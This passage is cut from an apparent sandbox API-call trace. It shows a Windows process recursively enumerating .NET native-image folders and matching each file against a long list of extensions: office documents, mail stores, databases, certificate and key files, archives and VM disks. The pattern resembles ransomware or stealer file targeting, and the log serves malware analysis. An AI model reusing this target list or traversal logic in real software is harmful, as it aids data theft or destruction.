pszSpec="*.qby") returned 0 [0119.656] lstrlenA (lpString="*.qby") returned 5 [0119.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.qbj") returned 0 [0119.656] lstrlenA (lpString="*.qbj") returned 5 [0119.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.ofx") returned 0 [0119.656] lstrlenA (lpString="*.ofx") returned 5 [0119.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.qif") returned 0 [0119.656] lstrlenA (lpString="*.qif") returned 5 [0119.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.mye") returned 0 [0119.656] lstrlenA (lpString="*.mye") returned 5 [0119.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.mbox") returned 0 [0119.656] lstrlenA (lpString="*.mbox") returned 6 [0119.656] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.eml") returned 0 [0119.656] lstrlenA (lpString="*.eml") returned 5 [0119.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.pst") returned 0 [0119.657] lstrlenA (lpString="*.pst") returned 5 [0119.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.ost") returned 0 [0119.657] lstrlenA (lpString="*.ost") returned 5 [0119.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.idx") returned 0 [0119.657] lstrlenA (lpString="*.idx") returned 5 [0119.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.dbx") returned 0 [0119.657] lstrlenA (lpString="*.dbx") returned 5 [0119.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.sql") returned 0 [0119.657] lstrlenA (lpString="*.sql") returned 5 [0119.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.mdb") returned 0 [0119.657] lstrlenA (lpString="*.mdb") returned 5 [0119.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.fdb") returned 0 [0119.657] lstrlenA (lpString="*.fdb") returned 5 [0119.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.wab") returned 0 [0119.657] lstrlenA (lpString="*.wab") returned 5 [0119.657] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.dat") returned 0 [0119.657] lstrlenA (lpString="*.dat") returned 5 [0119.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.txt") returned 0 [0119.658] lstrlenA (lpString="*.txt") returned 5 [0119.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.jpeg") returned 0 [0119.658] lstrlenA (lpString="*.jpeg") returned 6 [0119.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.jpg") returned 0 [0119.658] lstrlenA (lpString="*.jpg") returned 5 [0119.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.png") returned 0 [0119.658] lstrlenA (lpString="*.png") returned 5 [0119.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.php") returned 0 [0119.658] lstrlenA (lpString="*.php") returned 5 [0119.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.cs") returned 0 [0119.658] lstrlenA (lpString="*.cs") returned 4 [0119.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.cpp") returned 0 [0119.658] lstrlenA (lpString="*.cpp") returned 5 [0119.658] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.rar") returned 0 [0119.658] lstrlenA (lpString="*.rar") returned 5 [0119.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.zip") returned 0 [0119.660] lstrlenA (lpString="*.zip") returned 5 [0119.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.html") returned 0 [0119.660] lstrlenA (lpString="*.html") returned 6 [0119.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.htm") returned 0 [0119.660] lstrlenA (lpString="*.htm") returned 5 [0119.660] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.xlsx") returned 0 [0119.661] lstrlenA (lpString="*.xlsx") returned 6 [0119.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.xls") returned 0 [0119.661] lstrlenA (lpString="*.xls") returned 5 [0119.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.mp4") returned 0 [0119.661] lstrlenA (lpString="*.mp4") returned 5 [0119.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.ppt") returned 0 [0119.661] lstrlenA (lpString="*.ppt") returned 5 [0119.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.pptx") returned 0 [0119.661] lstrlenA (lpString="*.pptx") returned 6 [0119.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.doc") returned 0 [0119.661] lstrlenA (lpString="*.doc") returned 5 [0119.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.dot") returned 0 [0119.661] lstrlenA (lpString="*.dot") returned 5 [0119.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.docx") returned 0 [0119.661] lstrlenA (lpString="*.docx") returned 6 [0119.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.7z") returned 0 [0119.661] lstrlenA (lpString="*.7z") returned 4 [0119.661] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.tar") returned 0 [0119.662] lstrlenA (lpString="*.tar") returned 5 [0119.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.bz2") returned 0 [0119.662] lstrlenA (lpString="*.bz2") returned 5 [0119.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.gz") returned 0 [0119.662] lstrlenA (lpString="*.gz") returned 4 [0119.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.mkv") returned 0 [0119.662] lstrlenA (lpString="*.mkv") returned 5 [0119.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.eml") returned 0 [0119.662] lstrlenA (lpString="*.eml") returned 5 [0119.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.msg") returned 0 [0119.662] lstrlenA (lpString="*.msg") returned 5 [0119.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.edb") returned 0 [0119.662] lstrlenA (lpString="*.edb") returned 5 [0119.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.accdb") returned 0 [0119.662] lstrlenA (lpString="*.accdb") returned 7 [0119.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.odb") returned 0 [0119.662] lstrlenA (lpString="*.odb") returned 5 [0119.662] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.java") returned 0 [0119.663] lstrlenA (lpString="*.java") returned 6 [0119.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.asm") returned 0 [0119.663] lstrlenA (lpString="*.asm") returned 5 [0119.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.pfx") returned 0 [0119.663] lstrlenA (lpString="*.pfx") returned 5 [0119.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.pem") returned 0 [0119.663] lstrlenA (lpString="*.pem") returned 5 [0119.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.p12") returned 0 [0119.663] lstrlenA (lpString="*.p12") returned 5 [0119.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.gpg") returned 0 [0119.663] lstrlenA (lpString="*.gpg") returned 5 [0119.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.vsd") returned 0 [0119.663] lstrlenA (lpString="*.vsd") returned 5 [0119.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.odg") returned 0 [0119.663] lstrlenA (lpString="*.odg") returned 5 [0119.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.raw") returned 0 [0119.663] lstrlenA (lpString="*.raw") returned 5 [0119.663] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.nef") returned 0 [0119.664] lstrlenA (lpString="*.nef") returned 5 [0119.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.svg") returned 0 [0119.664] lstrlenA (lpString="*.svg") returned 5 [0119.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.psd") returned 0 [0119.664] lstrlenA (lpString="*.psd") returned 5 [0119.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.vmx") returned 0 [0119.664] lstrlenA (lpString="*.vmx") returned 5 [0119.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.vmdk") returned 0 [0119.664] lstrlenA (lpString="*.vmdk") returned 6 [0119.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.vdi") returned 0 [0119.664] lstrlenA (lpString="*.vdi") returned 5 [0119.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.lay6") returned 0 [0119.664] lstrlenA (lpString="*.lay6") returned 6 [0119.664] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.mpeg") returned 0 [0119.664] lstrlenA (lpString="*.mpeg") returned 6 [0119.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.djvu") returned 0 [0119.665] lstrlenA (lpString="*.djvu") returned 6 [0119.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.tiff") returned 0 [0119.665] lstrlenA (lpString="*.tiff") returned 6 [0119.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.backup") returned 0 [0119.665] lstrlenA (lpString="*.backup") returned 8 [0119.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.pdf") returned 0 [0119.665] lstrlenA (lpString="*.pdf") returned 5 [0119.665] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.cert") returned 0 [0119.665] lstrlenA (lpString="*.cert") returned 6 [0119.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.docm") returned 0 [0119.666] lstrlenA (lpString="*.docm") returned 6 [0119.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.xlsm") returned 0 [0119.666] lstrlenA (lpString="*.xlsm") returned 6 [0119.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.dwg") returned 0 [0119.666] lstrlenA (lpString="*.dwg") returned 5 [0119.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.nd") returned 0 [0119.666] lstrlenA (lpString="*.nd") returned 4 [0119.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.tlg") returned 0 [0119.666] lstrlenA (lpString="*.tlg") returned 5 [0119.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.lgb") returned 0 [0119.666] lstrlenA (lpString="*.lgb") returned 5 [0119.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.mov") returned 0 [0119.666] lstrlenA (lpString="*.mov") returned 5 [0119.666] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.xdw") returned 0 [0119.668] lstrlenA (lpString="*.xdw") returned 5 [0119.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.ods") returned 0 [0119.668] lstrlenA (lpString="*.ods") returned 5 [0119.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.wav") returned 0 [0119.668] lstrlenA (lpString="*.wav") returned 5 [0119.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.mp3") returned 0 [0119.668] lstrlenA (lpString="*.mp3") returned 5 [0119.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.aiff") returned 0 [0119.668] lstrlenA (lpString="*.aiff") returned 6 [0119.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.flac") returned 0 [0119.668] lstrlenA (lpString="*.flac") returned 6 [0119.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.m4a") returned 0 [0119.668] lstrlenA (lpString="*.m4a") returned 5 [0119.668] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaf08ebffb#\\4763af5910ce319a27d650ed307915b1\\System.Management.Instrumentation.ni.dll.aux", pszSpec="*.csv") returned 0 [0119.669] lstrlenA (lpString="*.csv") returned 5 [0119.669] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8df8690, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa8df8690, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa8df8690, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x384, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Management.Instrumentation.ni.dll.aux", cAlternateFileName="SYSTEM~1.AUX")) returned 0 [0119.669] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0119.669] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa8df8690, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa8df8690, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa8df8690, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="4763af5910ce319a27d650ed307915b1", cAlternateFileName="4763AF~1")) returned 0 [0119.669] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0119.669] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3893150, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa38b92b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa38b92b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x790053, dwReserved1=0x740073, cFileName="System.Management", cAlternateFileName="SYSTEM~1.MAN")) returned 1 [0119.669] lstrcmpA (lpString1=".", lpString2="System.Management") returned -1 [0119.669] lstrcmpA (lpString1="..", lpString2="System.Management") returned -1 [0119.669] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\*.*") returned="*.*" [0119.669] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\", lpString2="System.Management" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management") returned="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management" [0119.669] lstrlenA (lpString="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management") returned 64 [0119.669] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3893150, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa38b92b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa38b92b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0119.712] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0119.712] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa3893150, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa38b92b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa38b92b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0119.712] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0119.712] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0119.712] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa38b92b0, ftCreationTime.dwHighDateTime=0x1d2faf0, ftLastAccessTime.dwLowDateTime=0xa38b92b0, ftLastAccessTime.dwHighDateTime=0x1d2faf0, ftLastWriteTime.dwLowDateTime=0xa38b92b0, ftLastWriteTime.dwHighDateTime=0x1d2faf0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="78d29852ca34a455383a06b03458dfa5", cAlternateFileName="78D298~1")) returned 1 [0119.712] lstrcmpA (lpString1=".", lpString2="78d29852ca34a455383a06b03458dfa5") returned -1 [0119.712] lstrcmpA (lpString1="..", lpString2="78d29852ca34a455383a06b03458dfa5") returned -1 [0119.713] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Management\\*.*") returned="*.*" [0119.713] lstrcatA (in: 